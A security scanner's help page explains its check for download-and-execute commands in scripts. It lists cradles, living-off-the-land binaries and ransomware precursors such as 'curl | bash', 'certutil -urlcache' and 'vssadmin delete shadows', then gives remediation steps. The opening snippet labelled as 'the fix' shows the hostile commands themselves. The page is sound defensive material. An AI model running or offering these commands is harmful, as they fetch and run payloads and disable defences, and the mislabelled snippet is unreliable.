The fix, in one snippet
curl -s http://host/x.sh | bash
powershell -enc <base64>
Invoke-WebRequest … | iexIllustrative values. Change the paths, hostnames and options to match your own site before using it.
The sections below explain what is tested, why it matters and the alternatives.
What we test
The scanner matches the script against a list of download cradles and defence-evasion commands and reports each with its line. PowerShell: IEX / Invoke-Expression combined with DownloadString, Invoke-WebRequest or iwr; -ExecutionPolicy Bypass, -WindowStyle Hidden, -NoProfile together; Start-BitsTransfer; Add-MpPreference -ExclusionPath and Set-MpPreference -DisableRealtimeMonitoring; reg add …\Run; schtasks /create. Living-off-the-land binaries: certutil -urlcache -split -f, bitsadmin /transfer, mshta http, regsvr32 /s /u /i:http, rundll32 with a URL. Ransomware precursors: vssadmin delete shadows, wbadmin delete catalog, bcdedit … recoveryenabled no. Shell: curl … | bash, wget -O- | sh, base64 -d | sh. VBScript and JScript: WScript.Shell.Run with MSXML2.XMLHTTP and ADODB.Stream.SaveToFile. Download plus execute is critical; persistence or defence evasion alone is high. Limits: administrators' deployment scripts do some of these things legitimately; the script is not run, so intent is inferred from the combination.
Why it matters
A download cradle is a stage-one loader: the script is small and clean-looking, the real payload is fetched at runtime, so file scanners see nothing dangerous in the file itself. Deleting shadow copies is what ransomware does before encrypting. Adding a Defender exclusion is how a loader makes room for what comes next. The "ClickFix" lures of 2024 and 2025 put exactly these commands on the clipboard and told the victim to paste them into the Run dialog to "verify you are human". Anyone who runs scripts is affected, including administrators copying commands from forums.
How to fix it
Do not run it, and never paste commands from a web page into Run, a terminal or PowerShell. If it has already run, treat the machine as compromised: run Microsoft Defender Offline, review and remove Defender exclusions, look for new Run keys and scheduled tasks, and change passwords from a clean device.
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run"Administrators: enable PowerShell script block logging, use Constrained Language Mode or application control (AppLocker, WDAC) and the attack surface reduction rules. Related: obfuscated scripts. Guides: malware types explained, is this file safe? and responding to a compromise.
Where this fits
Script contains download-and-execute commands is check 2 of 20 that the file malware scanner runs under file structure and malware indicators, ordered the way they are worth fixing. That ordering is the point: Fixing this one while the check above it still fails buys less than it looks like.
Fix this one first
Above it in the same category sits Known malware signature match (critical), where the file matched a known malware signature, in our own signature set or in the local antivirus daemon when one is configured. An attacker who has that does not need this, so it is the better use of the same hour.
What fixing this still leaves open
Script contains download-and-execute commands closes one route in. Immediately below it: Archive contains an executable, where the archive holds an executable, installer, script or shortcut, the standard way to get a program past an email filter that blocks bare attachments; Decompression bomb, where the archive declares an uncompressed size vastly larger than its compressed size, so extracting it could fill your disk or freeze whatever tries to scan it; Double file extension, where the filename has a document-looking extension in front of a final executable one, such as invoice.pdf.exe, a disguise that depends on Windows hiding known extensions.
The first few lines
You are a senior web engineer. I ran a security and SEO scanner against my site and it reported the finding below. Fix it properly rather than suppressing the symptom.
Finding: Script contains download-and-execute commands (critical severity)
Scanner check id: script-dangerous-commandsThe rest of this prompt names the pages and line numbers we found the problem on, the configuration to change, and the constraints a good answer has to respect. It is free, it just needs an account so the work is not scraped wholesale.
Sign in with GoogleSigning in is free and takes one click. We store your email address and nothing else.
References
Related guides
8 min read · Updated Sep 18, 2026
Malware Types Explained: Viruses, Worms, Trojans, Ransomware, Spyware and Infostealers
The words are used interchangeably but they describe different behaviour. This guide defines each type by how it spreads and what it...
Read the guide
8 min read · Updated Sep 16, 2026
Is This File Safe? A Step-by-Step Way to Judge a File Before Opening It
You have a file and you are not sure. This guide gives an order of checks: Where it came from, its real type, its hash, a scan, and the...
Read the guide
8 min read · Updated Sep 14, 2026
Your Data Was in a Breach: What to Do in the First Hour, Day and Week
Breach notifications are routine now, and the response is not obvious. This guide gives a prioritised checklist: Which passwords to...
Read the guide